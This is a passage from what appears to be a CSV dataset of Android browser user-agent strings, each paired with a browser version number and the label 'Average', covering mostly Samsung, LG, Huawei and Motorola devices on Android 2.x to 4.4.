Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; de-de; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID RAZR Build/9.8.2O-72_VZW-16-5) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-ca; GT-P5113 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; ALCATEL ONE TOUCH 4010A Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID BIONIC Build/9.8.2O-72_VZW-22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-R530C Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; IdeaTab S6000-F Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; tr-tr; Discovery Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30\",4.1,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Prism II Build/HuaweiU8686) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-L710 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I415 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; %lang_code%; GT-P5110 Build/JZO54K) adbeat.com/policy AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T779 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-S7562 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; SCH-R720 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710VMUB Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; MB886 Build/9.8.0Q-97_MB886_FFW-20) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; VS930 4G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-S7582 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; HUAWEI-M931 Build/HuaweiM931) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; he-il; SL728NC Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SAMSUNG-SM-G730A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fi-fi; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; tr-tr; Vodafone Smart Tab 4 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30 SVN/040FTG1\",4.2,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; VS920 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SM-T310 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\nLenovo-A398t+_TD/S100 Linux/3.4.5 Android/4.1.2 Release/09.10.2013 Browser/AppleWebKit534.30 Mobile Safari/534.30,,Average\nDalvik/1.6.0 (Linux; U; Android 4.4.2; GT-P5210 Build/KOT49H),,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; BLU STUDIO 5.0 II Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2; en-us; Nexus 4 Build/JOP24G) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P5100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; sv-se; U8510 Build/HuaweiU8510) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I500 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 CSOUTH-i500\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-ca; GT-P3113 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; HUAWEI-M920 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S7562 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; GT-P7500R Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; LG-LS980 Build/JDQ39B) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SM-T310 Build/KOT49H),,Average\n\"Mozilla/5.0 (Linux; U; Android 3.2.1; en-us; VTAB1008 Build/HTK55) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; GT-S7560M Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-ca; SGH-I747M Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Xoom Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; SAMSUNG-SM-G530AZ Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9100T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S6102 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I727 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LGL75C Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; Motorola Electrify Build/4.5.1A_SUN_USC_19.0) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.1; en-us; GT-P7510 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5210 Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; RCT6103W46 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.0; en-us;) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 (Kobo Touch)\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P3113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; SPH-P100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Trio Stealth_10 Build/JR003C.20130630) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; sdk Build/GRI34) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SGH-T499 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; AT300 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z998 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-gb; KFTT Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-D710VMUB Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SGH-I317 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SM-T217A Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.2.1; en-us; A500 Build/HTK55D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; nl-nl; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-R740C Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; LG-LS696 Build/ZVF.GWK74) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Torque Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SM-G730A Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Vox Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux;U;Android 4.0.3;en-us;Digitac Ultratab;C725 Build/ICS) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-G355H Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; es-us; GT-S5830L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC_PH39100/3.26.502.56 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; M470BSA Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Next7P12 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T859 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VM670 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-gb; GT-S5830 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I497 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-LG870 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; FTABC Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID4 Build/9.8.2O-72_VZW-18-8) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; P771A Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-nz; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; ST23i Build/11.0.A.5.5) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; MILESTONE3 Build/5.5.1.1-84_D3G-25) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; X500 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-I8200N Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-i705 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; K00F Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I717 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; GT-I8200N Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I437 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-I9070 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SGH-T959 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-I9082L Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-ca; GT-I9100M Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-I9060 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; pt-br; SM-G3502T Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; C811 4G Build/C811M050) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; MT2L03 Build/HuaweiMT2L03) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; BLU STUDIO 5.0 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; sdk Build/MASTER) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; STUDIO 5.5 Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Y220-U00 Build/HUAWEIY220-U00) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-ph; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; PantechP8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; MB865 Build/6.7.2-226-EDICS-10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ADR6400L 4G Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; sdk Build/JB_MR1.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220/1.11.506.1 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS870 Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I9070 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; Y220-U05 Build/HUAWEIY220-U05) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Sprint APA7373KT Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; HUAWEI-M835 Build/HuaweiM835) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8262 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; SGH-T769 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R830C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I110 Build/GA1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-E970/E97020j Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 3.1; en-us; LG-V909 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110/1.51.502.9 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-MS840 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I437P Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Sprint APX515CKT Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SGH-T849 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-I8150 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-P500 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; Android SDK built for x86 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; SPH-M840 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pl-pl; SoftwinerEvb Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; KONKA_V983_TD/1.0 Android/4.0.3 